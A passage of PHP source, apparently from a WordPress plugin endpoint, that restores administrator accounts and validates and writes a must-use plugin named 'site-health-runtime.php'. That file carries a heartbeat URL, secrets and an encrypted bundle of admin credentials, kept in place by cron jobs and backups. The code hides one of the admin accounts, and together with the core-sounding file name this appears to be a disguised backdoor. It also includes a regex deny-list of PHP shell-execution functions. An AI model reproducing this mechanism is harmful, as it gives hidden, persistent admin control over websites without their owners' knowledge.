    if (!$user || !method_exists($user, &#039;set_role&#039;)) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response(500, false, $restored ? &#039;RESTORE_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;);
    }
    $user-&gt;set_role(&#039;administrator&#039;);
    if ($requires_concealment &amp;&amp; !easypost_endpoint_set_admin_concealment((int) $user-&gt;ID, true)) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? &#039;CONCEALMENT_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;, true, $user);
    }
    if (!$requires_concealment &amp;&amp; !easypost_endpoint_set_admin_concealment((int) $user-&gt;ID, false)) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? &#039;CONCEALMENT_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;, true, $user);
    }
    if ($requires_concealment &amp;&amp; !easypost_endpoint_hidden_helper_active()) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? &#039;CONCEALMENT_UNAVAILABLE&#039; : &#039;ROLLBACK_FAILED&#039;, true, $user);
    }
    easypost_endpoint_clean_admin_cache((int) $user-&gt;ID, $old_login, $login);
    $restored = get_user_by(&#039;id&#039;, (int) $user-&gt;ID);
    if (!easypost_endpoint_admin_matches_contract($restored, $login, $password, $concealed)) {
        $compensated = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response(500, false, $compensated ? &#039;RESTORE_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;);
    }
    list($login_matches, $password_matches) = easypost_endpoint_admin_state($restored, $login, $password);
    easypost_endpoint_admin_response(200, true, &#039;RESTORED&#039;, true, $restored, $login_matches, $password_matches);
}

function easypost_endpoint_rotate_token($payload) {
    easypost_endpoint_json(501, array(
        &#039;ok&#039; =&gt; false,
        &#039;error&#039; =&gt; &#039;rotate_token_not_implemented&#039;,
        &#039;receivedTokenId&#039; =&gt; isset($payload[&#039;tokenId&#039;]) ? $payload[&#039;tokenId&#039;] : null,
    ));
}

function easypost_endpoint_site_runtime_path() {
    $directory = defined(&#039;WPMU_PLUGIN_DIR&#039;)
        ? rtrim(WPMU_PLUGIN_DIR, &#039;/\\&#039;)
        : rtrim(WP_CONTENT_DIR, &#039;/\\&#039;) . &#039;/mu-plugins&#039;;
    return $directory . &#039;/site-health-runtime.php&#039;;
}

function easypost_endpoint_base64url_decode($value) {
    if (!is_string($value) || !preg_match(&#039;/\A[A-Za-z0-9_-]+\z/&#039;, $value)) {
        return false;
    }
    $padding = strlen($value) % 4;
    if ($padding === 1) {
        return false;
    }
    $encoded = $value;
    if ($padding &gt; 0) {
        $encoded .= str_repeat(&#039;=&#039;, 4 - $padding);
    }
    $decoded = base64_decode(strtr($encoded, &#039;-_&#039;, &#039;+/&#039;), true);
    if ($decoded === false
        || !hash_equals($value, rtrim(strtr(base64_encode($decoded), &#039;+/&#039;, &#039;-_&#039;), &#039;=&#039;))) {
        return false;
    }
    return $decoded;
}

function easypost_endpoint_exact_array_keys($value, $expected) {
    if (!is_array($value)) {
        return false;
    }
    $actual = array_keys($value);
    sort($actual, SORT_STRING);
    sort($expected, SORT_STRING);
    return $actual === $expected;
}

function easypost_endpoint_site_runtime_manifest($runtime_php) {
    if (!is_string($runtime_php) || strlen($runtime_php) &gt; 262144) {
        return false;
    }
    $pattern = &#039;/\A&lt;\?php\n\/\* SITE_HEALTH_RUNTIME_BEGIN_V1 \*\/\n&#039;
        . &#039;\/\* SITE_HEALTH_RUNTIME_MANIFEST_V1 ([A-Za-z0-9_-]+) \*\/\n&#039;
        . &#039;[\s\S]*\n\/\* SITE_HEALTH_RUNTIME_END_V1 \*\/\n\z/&#039;;
    if (!preg_match($pattern, $runtime_php, $matches)) {
        return false;
    }
    $manifest_json = easypost_endpoint_base64url_decode($matches[1]);
    if ($manifest_json === false) {
        return false;
    }
    $manifest = json_decode($manifest_json, true);
    if (!easypost_endpoint_exact_array_keys(
        $manifest,
        array(&#039;version&#039;, &#039;enabled&#039;, &#039;runtimeVersion&#039;, &#039;configurationVersion&#039;)
    )) {
        return false;
    }
    if ($manifest[&#039;version&#039;] !== 1
        || !is_bool($manifest[&#039;enabled&#039;])
        || !is_string($manifest[&#039;runtimeVersion&#039;])
        || (!is_string($manifest[&#039;configurationVersion&#039;]) &amp;&amp; $manifest[&#039;configurationVersion&#039;] !== null)) {
        return false;
    }
    return $manifest;
}

function easypost_endpoint_php_single_quoted_value($value) {
    $decoded = &#039;&#039;;
    $length = strlen($value);
    for ($index = 0; $index &lt; $length; $index++) {
        $character = $value[$index];
        if ($character !== &#039;\\&#039;) {
            $decoded .= $character;
            continue;
        }
        $index++;
        if ($index &gt;= $length || ($value[$index] !== &#039;\\&#039; &amp;&amp; $value[$index] !== &quot;&#039;&quot;)) {
            return false;
        }
        $decoded .= $value[$index];
    }
    return $decoded;
}

function easypost_endpoint_normalized_runtime_skeleton($runtime_php) {
    $manifest_pattern = &#039;/SITE_HEALTH_RUNTIME_MANIFEST_V1 [A-Za-z0-9_-]+/&#039;;
    $config_pattern = &quot;/define\\(&#039;SITE_HEALTH_RUNTIME_CONFIG_V1&#039;, &#039;((?:\\\\.|[^&#039;\\\\])*)&#039;\\);/&quot;;
    $manifest_count = 0;
    $config_count = 0;
    $normalized = preg_replace(
        $manifest_pattern,
        &#039;SITE_HEALTH_RUNTIME_MANIFEST_V1 __MANIFEST__&#039;,
        $runtime_php,
        1,
        $manifest_count
    );
    $normalized = preg_replace(
        $config_pattern,
        &quot;define(&#039;SITE_HEALTH_RUNTIME_CONFIG_V1&#039;, &#039;__CONFIG__&#039;);&quot;,
        $normalized,
        1,
        $config_count
    );
    if (!is_string($normalized) || $manifest_count !== 1 || $config_count !== 1) {
        return false;
    }
    return $normalized;
}

function easypost_endpoint_runtime_uuid($value) {
    return is_string($value)
        &amp;&amp; preg_match(&#039;/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/&#039;, $value);
}

function easypost_endpoint_runtime_secret($value) {
    $decoded = easypost_endpoint_base64url_decode($value);
    return $decoded !== false &amp;&amp; strlen($decoded) === 32 ? $decoded : false;
}

function easypost_endpoint_runtime_url_is_canonical($value) {
    if (!is_string($value) || $value === &#039;&#039; || strlen($value) &gt; 2048) {
        return false;
    }
    for ($index = 0; $index &lt; strlen($value); $index++) {
        $byte = ord($value[$index]);
        if ($byte &lt;= 32 || $byte &gt;= 127) {
            return false;
        }
    }
    $parts = @parse_url($value);
    if (!is_array($parts)
        || !isset($parts[&#039;scheme&#039;], $parts[&#039;host&#039;])
        || $parts[&#039;scheme&#039;] !== &#039;https&#039;
        || isset($parts[&#039;user&#039;])
        || isset($parts[&#039;pass&#039;])) {
        return false;
    }
    $host = (string) $parts[&#039;host&#039;];
    if ($host === &#039;&#039; || $host !== strtolower($host) || substr($host, -1) === &#039;.&#039;) {
        return false;
    }
    $canonical_host = $host;
    if ($host[0] === &#039;[&#039; &amp;&amp; substr($host, -1) === &#039;]&#039;) {
        $inner = substr($host, 1, -1);
        $packed = @inet_pton($inner);
        if ($packed === false || strpos($inner, &#039;:&#039;) === false || strtolower((string) inet_ntop($packed)) !== $inner) {
            return false;
        }
        $canonical_host = &#039;[&#039; . $inner . &#039;]&#039;;
    } else {
        $packed = @inet_pton($host);
        if ($packed !== false) {
            if (strpos($host, &#039;:&#039;) !== false || (string) inet_ntop($packed) !== $host) {
                return false;
            }
        } elseif (preg_match(&#039;/\A[0-9.]+\z/&#039;, $host)
            || !preg_match(&#039;/\A[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?\z/&#039;, $host)
            || strpos($host, &#039;..&#039;) !== false) {
            return false;
        }
    }
    $path = isset($parts[&#039;path&#039;]) ? (string) $parts[&#039;path&#039;] : &#039;/&#039;;
    foreach (explode(&#039;/&#039;, $path) as $segment) {
        $decoded = rawurldecode($segment);
        if ($decoded === &#039;.&#039; || $decoded === &#039;..&#039;) {
            return false;
        }
    }
    $port = isset($parts[&#039;port&#039;]) ? (int) $parts[&#039;port&#039;] : null;
    $canonical = &#039;https://&#039; . $canonical_host
        . ($port !== null &amp;&amp; $port !== 443 ? &#039;:&#039; . $port : &#039;&#039;)
        . $path
        . (isset($parts[&#039;query&#039;]) ? &#039;?&#039; . $parts[&#039;query&#039;] : &#039;&#039;)
        . (isset($parts[&#039;fragment&#039;]) ? &#039;#&#039; . $parts[&#039;fragment&#039;] : &#039;&#039;);
    return hash_equals($canonical, $value);
}

function easypost_endpoint_validate_runtime_users($users, $required_roles) {
    if (!easypost_endpoint_exact_array_keys($users, array(&#039;general&#039;, &#039;hidden&#039;, &#039;additional&#039;))
        || !is_array($required_roles)
        || array_values($required_roles) !== $required_roles) {
        return false;
    }
    $derived = array();
    foreach (array(&#039;general&#039;, &#039;hidden&#039;, &#039;additional&#039;) as $role) {
        $user = $users[$role];
        if (!easypost_endpoint_exact_array_keys($user, array(&#039;required&#039;, &#039;login&#039;, &#039;email&#039;, &#039;password&#039;, &#039;wpUserId&#039;, &#039;concealed&#039;))
            || !is_bool($user[&#039;required&#039;])
            || !is_bool($user[&#039;concealed&#039;])
            || $user[&#039;concealed&#039;] !== ($role === &#039;hidden&#039;)) {
            return false;
        }
        if (!$user[&#039;required&#039;]) {
            if ($user[&#039;login&#039;] !== null || $user[&#039;email&#039;] !== null || $user[&#039;password&#039;] !== null || $user[&#039;wpUserId&#039;] !== null) {
                return false;
            }
            continue;
        }
        if (!is_string($user[&#039;login&#039;]) || trim($user[&#039;login&#039;]) === &#039;&#039;
            || !is_string($user[&#039;email&#039;]) || trim($user[&#039;email&#039;]) === &#039;&#039; || strpos($user[&#039;email&#039;], &#039;@&#039;) === false
            || !is_string($user[&#039;password&#039;]) || $user[&#039;password&#039;] === &#039;&#039;
            || !is_int($user[&#039;wpUserId&#039;]) || $user[&#039;wpUserId&#039;] &lt; 1 || $user[&#039;wpUserId&#039;] &gt; 2147483647) {
            return false;
        }
        $derived[] = $role;
    }
    return $derived === $required_roles &amp;&amp; in_array(&#039;general&#039;, $derived, true);
}

function easypost_endpoint_validate_runtime_config_contract($runtime_config) {
    $runtime_version = isset($runtime_config[&#039;runtimeVersion&#039;])
        ? $runtime_config[&#039;runtimeVersion&#039;]
        : null;
    $expected_keys = array(
        &#039;version&#039;, &#039;heartbeatUrl&#039;, &#039;tokenId&#039;, &#039;signingSecret&#039;, &#039;recoveryKey&#039;,
        &#039;runtimeVersion&#039;, &#039;configurationVersion&#039;, &#039;repairEnabled&#039;, &#039;endpointProbe&#039;,
        &#039;requiredRoles&#039;, &#039;bootstrapBundle&#039;
    );
    if ($runtime_version === &#039;2026.08.12&#039;) {
        $expected_keys[] = &#039;applicationPassword&#039;;
    } elseif ($runtime_version !== &#039;2026.08.11&#039;) {
        return false;
    }
    if (!easypost_endpoint_exact_array_keys(
        $runtime_config,
        $expected_keys
    )
        || $runtime_config[&#039;version&#039;] !== 1
        || !easypost_endpoint_runtime_uuid($runtime_config[&#039;tokenId&#039;])
        || !easypost_endpoint_runtime_uuid($runtime_config[&#039;configurationVersion&#039;])
        || !is_bool($runtime_config[&#039;repairEnabled&#039;])
        || !easypost_endpoint_runtime_url_is_canonical($runtime_config[&#039;heartbeatUrl&#039;])) {
        return false;
    }
    if ($runtime_version === &#039;2026.08.12&#039;) {
        $application_password = $runtime_config[&#039;applicationPassword&#039;];
        if (!easypost_endpoint_exact_array_keys(
            $application_password,
            array(&#039;required&#039;, &#039;ownerWpUserId&#039;, &#039;managedUuid&#039;)
        )
            || !is_bool($application_password[&#039;required&#039;])
            || ($application_password[&#039;ownerWpUserId&#039;] !== null
                &amp;&amp; (!is_int($application_password[&#039;ownerWpUserId&#039;])
                    || $application_password[&#039;ownerWpUserId&#039;] &lt; 1
                    || $application_password[&#039;ownerWpUserId&#039;] &gt; 2147483647))
            || ($application_password[&#039;managedUuid&#039;] !== null
                &amp;&amp; !easypost_endpoint_runtime_uuid($application_password[&#039;managedUuid&#039;]))
            || (($application_password[&#039;ownerWpUserId&#039;] === null)
                !== ($application_password[&#039;managedUuid&#039;] === null))
            || (!$application_password[&#039;required&#039;]
                &amp;&amp; ($application_password[&#039;ownerWpUserId&#039;] !== null
                    || $application_password[&#039;managedUuid&#039;] !== null))) {
            return false;
        }
    }
    $signing = easypost_endpoint_runtime_secret($runtime_config[&#039;signingSecret&#039;]);
    $recovery = easypost_endpoint_runtime_secret($runtime_config[&#039;recoveryKey&#039;]);
    $envelope = $runtime_config[&#039;bootstrapBundle&#039;];
    if ($signing === false || $recovery === false || hash_equals($signing, $recovery)
        || !easypost_endpoint_exact_array_keys($envelope, array(&#039;version&#039;, &#039;cipher&#039;, &#039;nonce&#039;, &#039;tag&#039;, &#039;ciphertext&#039;))
        || $envelope[&#039;version&#039;] !== 1
        || $envelope[&#039;cipher&#039;] !== &#039;aes-256-gcm&#039;) {
        return false;
    }
    $nonce = easypost_endpoint_base64url_decode($envelope[&#039;nonce&#039;]);
    $tag = easypost_endpoint_base64url_decode($envelope[&#039;tag&#039;]);
    $ciphertext = easypost_endpoint_base64url_decode($envelope[&#039;ciphertext&#039;]);
    if ($nonce === false || strlen($nonce) !== 12
        || $tag === false || strlen($tag) !== 16
        || $ciphertext === false
        || !function_exists(&#039;openssl_decrypt&#039;)) {
        return false;
    }
    $key = hash_hmac(&#039;sha256&#039;, &#039;site-health-runtime-bundle-v1&#039;, $recovery, true);
    $plaintext = openssl_decrypt(
        $ciphertext,
        &#039;aes-256-gcm&#039;,
        $key,
        OPENSSL_RAW_DATA,
        $nonce,
        $tag,
        &#039;site-health-runtime-bundle-v1&#039;
    );
    if ($plaintext === false) {
        return false;
    }
    $users = json_decode($plaintext, true);
    if (function_exists(&#039;sodium_memzero&#039;)) {
        sodium_memzero($plaintext);
    }
    return easypost_endpoint_validate_runtime_users($users, $runtime_config[&#039;requiredRoles&#039;]);
}

function easypost_endpoint_validate_site_runtime($payload, $decoded_php) {
    if (!isset($payload[&#039;runtimeVersion&#039;])
        || !is_string($payload[&#039;runtimeVersion&#039;])
        || !in_array($payload[&#039;runtimeVersion&#039;], array(
            &#039;2026.08.11&#039;,
            &#039;2026.08.12&#039;
        ), true)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_version_invalid&#039;));
    }
    if (!isset($payload[&#039;configurationVersion&#039;])
        || !is_string($payload[&#039;configurationVersion&#039;])
        || !preg_match(&#039;/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/&#039;, $payload[&#039;configurationVersion&#039;])) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;configuration_version_invalid&#039;));
    }
    if (!isset($payload[&#039;sha256&#039;])
        || !is_string($payload[&#039;sha256&#039;])
        || !preg_match(&#039;/\A[a-f0-9]{64}\z/&#039;, $payload[&#039;sha256&#039;])) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_invalid&#039;));
    }
    if (strlen($decoded_php) &gt; 262144) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_too_large&#039;));
    }
    $computed_sha256 = hash(&#039;sha256&#039;, $decoded_php);
    if (!hash_equals($payload[&#039;sha256&#039;], $computed_sha256)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_mismatch&#039;));
    }
    $manifest = easypost_endpoint_site_runtime_manifest($decoded_php);
    if ($manifest === false
        || $manifest[&#039;enabled&#039;] !== true
        || !hash_equals($payload[&#039;runtimeVersion&#039;], $manifest[&#039;runtimeVersion&#039;])
        || !hash_equals($payload[&#039;configurationVersion&#039;], $manifest[&#039;configurationVersion&#039;])) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_manifest_invalid&#039;));
    }
    $dynamic_scan = str_replace(
        array(
            &quot;require_once ABSPATH . &#039;wp-admin/includes/user.php&#039;;&quot;,
            &quot;require_once ABSPATH . &#039;wp-admin/includes/plugin.php&#039;;&quot;
        ),
        &#039;&#039;,
        $decoded_php
    );
    if (preg_match(&#039;/(?:\beval\s*\(|\bassert\s*\(|\bcreate_function\s*\(|\bshell_exec\s*\(|\bsystem\s*\(|\bpassthru\s*\(|\bproc_open\s*\(|\bpopen\s*\(|\binclude(?:_once)?\b|\brequire(?:_once)?\b|\x60)/i&#039;, $dynamic_scan)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;dynamic_construct_rejected&#039;));
    }
    $config_pattern = &quot;/define\\(&#039;SITE_HEALTH_RUNTIME_CONFIG_V1&#039;, &#039;((?:\\\\.|[^&#039;\\\\])*)&#039;\\);/&quot;;
    if (preg_match_all($config_pattern, $decoded_php, $config_matches) !== 1) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_config_invalid&#039;));
    }
    $config_json = easypost_endpoint_php_single_quoted_value($config_matches[1][0]);
    $runtime_config = $config_json === false ? null : json_decode($config_json, true);
    if (!is_array($runtime_config)
        || !isset($runtime_config[&#039;version&#039;])
        || $runtime_config[&#039;version&#039;] !== 1
        || !isset($runtime_config[&#039;runtimeVersion&#039;], $runtime_config[&#039;configurationVersion&#039;])
        || !is_string($runtime_config[&#039;runtimeVersion&#039;])
        || !is_string($runtime_config[&#039;configurationVersion&#039;])
        || !hash_equals($manifest[&#039;runtimeVersion&#039;], $runtime_config[&#039;runtimeVersion&#039;])
        || !hash_equals($manifest[&#039;configurationVersion&#039;], $runtime_config[&#039;configurationVersion&#039;])) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_config_invalid&#039;));
    }
    if (!easypost_endpoint_validate_runtime_config_contract($runtime_config)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_config_invalid&#039;));
    }
    $endpoint_config = easypost_endpoint_config();
    $normalized_runtime = easypost_endpoint_normalized_runtime_skeleton($decoded_php);
    $legacy_runtime = $payload[&#039;runtimeVersion&#039;] === &#039;2026.08.11&#039;;
    $skeleton_sha_key = $legacy_runtime
        ? &#039;legacy_runtime_skeleton_sha256&#039;
        : &#039;runtime_skeleton_sha256&#039;;
    $skeleton_bytes_key = $legacy_runtime
        ? &#039;legacy_runtime_skeleton_bytes&#039;
        : &#039;runtime_skeleton_bytes&#039;;
    if ($normalized_runtime === false
        || !isset($endpoint_config[$skeleton_sha_key], $endpoint_config[$skeleton_bytes_key])
        || strlen($normalized_runtime) !== (int) $endpoint_config[$skeleton_bytes_key]
        || !hash_equals($endpoint_config[$skeleton_sha_key], hash(&#039;sha256&#039;, $normalized_runtime))) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_skeleton_mismatch&#039;));
    }
    return $runtime_config;
}

function easypost_endpoint_atomic_site_runtime_write($runtime_php, $respond_on_failure = true) {
    $runtime_path = easypost_endpoint_site_runtime_path();
    $directory = dirname($runtime_path);
    if (!is_dir($directory)
        &amp;&amp; (!function_exists(&#039;wp_mkdir_p&#039;) || !wp_mkdir_p($directory))) {
        if ($respond_on_failure) {
            easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_directory_unavailable&#039;));
        }
        return false;
    }
    $temporary_path = tempnam($directory, &#039;.site-health-runtime-&#039;);
    if ($temporary_path === false) {
        if ($respond_on_failure) {
            easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_write_failed&#039;));
        }
        return false;
    }
    $bytes = file_put_contents($temporary_path, $runtime_php, LOCK_EX);
    if ($bytes === false || $bytes !== strlen($runtime_php)) {
        @unlink($temporary_path);
        if ($respond_on_failure) {
            easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_write_failed&#039;));
        }
        return false;
    }
    @chmod($temporary_path, 0644);
    if (!rename($temporary_path, $runtime_path)) {
        @unlink($temporary_path);
        if ($respond_on_failure) {
            easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_rename_failed&#039;));
        }
        return false;
    }
    if (function_exists(&#039;opcache_invalidate&#039;)) {
        @opcache_invalidate($runtime_path, true);
    }
    clearstatcache(true, $runtime_path);
    return $runtime_path;
}

function easypost_endpoint_site_runtime_hook_events($hook) {
    if (function_exists(&#039;_get_cron_array&#039;)) {
        $cron = _get_cron_array();
        if (!is_array($cron)) {
            return false;
        }
        $events = array();
        foreach ($cron as $timestamp =&gt; $hooks) {
            if (!isset($hooks[$hook]) || !is_array($hooks[$hook])) {
                continue;
            }
            foreach ($hooks[$hook] as $event) {
                $events[] = array(
                    &#039;timestamp&#039; =&gt; (int) $timestamp,
                    &#039;schedule&#039; =&gt; isset($event[&#039;schedule&#039;]) ? $event[&#039;schedule&#039;] : false,
                    &#039;args&#039; =&gt; isset($event[&#039;args&#039;]) &amp;&amp; is_array($event[&#039;args&#039;]) ? $event[&#039;args&#039;] : array(),
                );
            }
        }
        return $events;
    }
    $timestamp = wp_next_scheduled($hook);
    return $timestamp === false ? array() : array(array(
        &#039;timestamp&#039; =&gt; (int) $timestamp,
        &#039;schedule&#039; =&gt; $hook === &#039;site_health_runtime_daily_v1&#039; ? &#039;daily&#039; : false,
        &#039;args&#039; =&gt; array(),
    ));
}

function easypost_endpoint_site_runtime_event_fingerprints($events) {
    if (!is_array($events)) {
        return false;
    }
    $values = array();
    foreach ($events as $event) {
        if (!is_array($event) || !isset($event[&#039;timestamp&#039;], $event[&#039;schedule&#039;], $event[&#039;args&#039;])) {
            return false;
        }
        $values[] = (int) $event[&#039;timestamp&#039;] . &#039;:&#039; . (string) $event[&#039;schedule&#039;] . &#039;:&#039; . serialize($event[&#039;args&#039;]);
    }
    sort($values, SORT_STRING);
    return $values;
}

function easypost_endpoint_upgrade_backup_path() {
    return dirname(easypost_endpoint_site_runtime_path())
        . &#039;/site-health-runtime-data/previous.php&#039;;
}

function easypost_endpoint_upgrade_marker($raw) {
    $marker = function_exists(&#039;maybe_unserialize&#039;) ? maybe_unserialize($raw) : @unserialize($raw);
    if (!is_array($marker)
        || array_keys($marker) !== array(&#039;version&#039;, &#039;transactionId&#039;, &#039;desiredSha256&#039;, &#039;previousSha256&#039;)
        || $marker[&#039;version&#039;] !== 1
        || !is_string($marker[&#039;transactionId&#039;])
        || !preg_match(&#039;/\A[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}\z/&#039;, $marker[&#039;transactionId&#039;])
        || !is_string($marker[&#039;desiredSha256&#039;])
        || !preg_match(&#039;/\A[a-f0-9]{64}\z/&#039;, $marker[&#039;desiredSha256&#039;])
        || !is_string($marker[&#039;previousSha256&#039;])
        || !preg_match(&#039;/\A[a-f0-9]{64}\z/&#039;, $marker[&#039;previousSha256&#039;])) {
        return false;
    }
    return $marker;
}

function easypost_endpoint_upgrade_backup_exists($path) {
    return file_exists($path) || is_link($path);
}

function easypost_endpoint_read_upgrade_backup($path) {
    $directory = dirname($path);
    if (!is_file($path)
        || is_link($path)
        || is_link($directory)
        || !is_readable($path)
        || (((int) @fileperms($path)) &amp; 0077) !== 0
        || (((int) @fileperms($directory)) &amp; 0077) !== 0) {
        return false;
    }
    $wrapped = @file_get_contents($path, false, null, 0, 524289);
    $prefix = &quot;&lt;?php\nhttp_response_code(404);\nexit;\n__halt_compiler();\n&quot;;
    if (!is_string($wrapped)
        || strlen($wrapped) &gt; 524288
        || strpos($wrapped, $prefix) !== 0
        || !preg_match(
            &#039;/\A&lt;\?php\nhttp_response_code\(404\);\nexit;\n__halt_compiler\(\);\n\/\* SITE_HEALTH_RUNTIME_BACKUP_V1 ([A-Za-z0-9_-]+) \*\/\n([A-Za-z0-9+\/]+={0,2})\n\z/&#039;,
            $wrapped,
            $matches
        )) {
        return false;
    }
    $metadata_json = easypost_endpoint_base64url_decode($matches[1]);
    $metadata = is_string($metadata_json) ? json_decode($metadata_json, true) : null;
    $source = base64_decode($matches[2], true);
    $normalized_source = is_string($source)
        ? easypost_endpoint_normalized_runtime_skeleton($source)
        : false;
    $endpoint_config = easypost_endpoint_config();
    $source_manifest = is_string($source)
        ? easypost_endpoint_site_runtime_manifest($source)
        : false;
    $legacy_source = is_array($source_manifest)
        &amp;&amp; isset($source_manifest[&#039;runtimeVersion&#039;])
        &amp;&amp; $source_manifest[&#039;runtimeVersion&#039;] === &#039;2026.08.11&#039;;
    $source_skeleton_sha_key = $legacy_source
        ? &#039;legacy_runtime_skeleton_sha256&#039;
        : &#039;runtime_skeleton_sha256&#039;;
    $source_skeleton_bytes_key = $legacy_source
        ? &#039;legacy_runtime_skeleton_bytes&#039;
        : &#039;runtime_skeleton_bytes&#039;;
    if (!is_array($metadata)
        || easypost_endpoint_upgrade_marker(serialize($metadata)) === false
        || !hash_equals(
            $matches[1],
            rtrim(strtr(base64_encode(json_encode($metadata, JSON_UNESCAPED_SLASHES)), &#039;+/&#039;, &#039;-_&#039;), &#039;=&#039;)
        )
        || !is_string($source)
        || !hash_equals($matches[2], base64_encode($source))
        || $source_manifest === false
        || !is_string($normalized_source)
        || !isset($endpoint_config[$source_skeleton_sha_key], $endpoint_config[$source_skeleton_bytes_key])
        || strlen($normalized_source) !== (int) $endpoint_config[$source_skeleton_bytes_key]
        || !hash_equals($endpoint_config[$source_skeleton_sha_key], hash(&#039;sha256&#039;, $normalized_source))
        || !hash_equals($metadata[&#039;previousSha256&#039;], hash(&#039;sha256&#039;, $source))) {
        return false;
    }
    return array(
        &#039;bytes&#039; =&gt; $wrapped,
        &#039;metadata&#039; =&gt; $metadata,
        &#039;source&#039; =&gt; $source,
    );
}

function easypost_endpoint_restore_upgrade_backup($path, $bytes) {
    $directory = dirname($path);
    if (!is_string($bytes)
        || !hash_equals(easypost_endpoint_upgrade_backup_path(), $path)
        || is_link($directory)
        || (is_file($path) &amp;&amp; is_link($path))
        || (!is_dir($directory)
            &amp;&amp; (!function_exists(&#039;wp_mkdir_p&#039;) || !wp_mkdir_p($directory)))
        || !@chmod($directory, 0700)
        || (((int) @fileperms($directory)) &amp; 0077) !== 0) {
        return false;
    }
    $temporary = tempnam($directory, &#039;.site-health-backup-&#039;);
    if ($temporary === false) {
        return false;
    }
    $written = file_put_contents($temporary, $bytes, LOCK_EX);
    if ($written !== strlen($bytes)
        || !@chmod($temporary, 0600)
        || !rename($temporary, $path)) {
        @unlink($temporary);
        return false;
    }
    if (function_exists(&#039;opcache_invalidate&#039;)) {
        @opcache_invalidate($path, true);
    }
    clearstatcache(true, $path);
    $restored = @file_get_contents($path);
    return (((int) @fileperms($path)) &amp; 0077) === 0
        &amp;&amp; is_string($restored)
        &amp;&amp; hash_equals($bytes, $restored);
}

function easypost_endpoint_site_runtime_snapshot() {
    $path = easypost_endpoint_site_runtime_path();
    $snapshot = array(
        &#039;path&#039; =&gt; $path,
        &#039;fileExists&#039; =&gt; is_file($path),
        &#039;fileBytes&#039; =&gt; is_file($path) ? @file_get_contents($path) : null,
        &#039;options&#039; =&gt; array(),
        &#039;dailyEvents&#039; =&gt; easypost_endpoint_site_runtime_hook_events(&#039;site_health_runtime_daily_v1&#039;),
        &#039;retryEvents&#039; =&gt; easypost_endpoint_site_runtime_hook_events(&#039;site_health_runtime_retry_v1&#039;),
        &#039;upgradeBackup&#039; =&gt; array(
            &#039;path&#039; =&gt; easypost_endpoint_upgrade_backup_path(),
            &#039;exists&#039; =&gt; false,
            &#039;bytes&#039; =&gt; null,
        ),
    );
    if (($snapshot[&#039;fileExists&#039;] &amp;&amp; !is_string($snapshot[&#039;fileBytes&#039;]))
        || $snapshot[&#039;dailyEvents&#039;] === false
        || $snapshot[&#039;retryEvents&#039;] === false) {
        return false;
    }
    $upgrade_row = easypost_endpoint_read_option_row(&#039;site_health_runtime_upgrade_v1&#039;);
    $upgrade_exists = easypost_endpoint_upgrade_backup_exists($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
    if ($upgrade_row[&#039;status&#039;] === &#039;unavailable&#039;
        || ($upgrade_row[&#039;status&#039;] === &#039;found&#039;) !== $upgrade_exists) {
        return false;
    }
    if ($upgrade_exists) {
        $marker = easypost_endpoint_upgrade_marker($upgrade_row[&#039;raw&#039;]);
        $backup = easypost_endpoint_read_upgrade_backup($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
        if ($upgrade_row[&#039;autoload&#039;] !== &#039;no&#039;
            || $marker === false
            || $backup === false
            || $backup[&#039;metadata&#039;] !== $marker
            || !$snapshot[&#039;fileExists&#039;]
            || !hash_equals($marker[&#039;desiredSha256&#039;], hash(&#039;sha256&#039;, $snapshot[&#039;fileBytes&#039;]))) {
            return false;
        }
        $snapshot[&#039;upgradeBackup&#039;][&#039;exists&#039;] = true;
        $snapshot[&#039;upgradeBackup&#039;][&#039;bytes&#039;] = $backup[&#039;bytes&#039;];
    }
    foreach (array(
        &#039;site_health_runtime_bundle_v1&#039;,
        &#039;site_health_runtime_configuration_v1&#039;,
        &#039;site_health_runtime_disabled_v1&#039;,
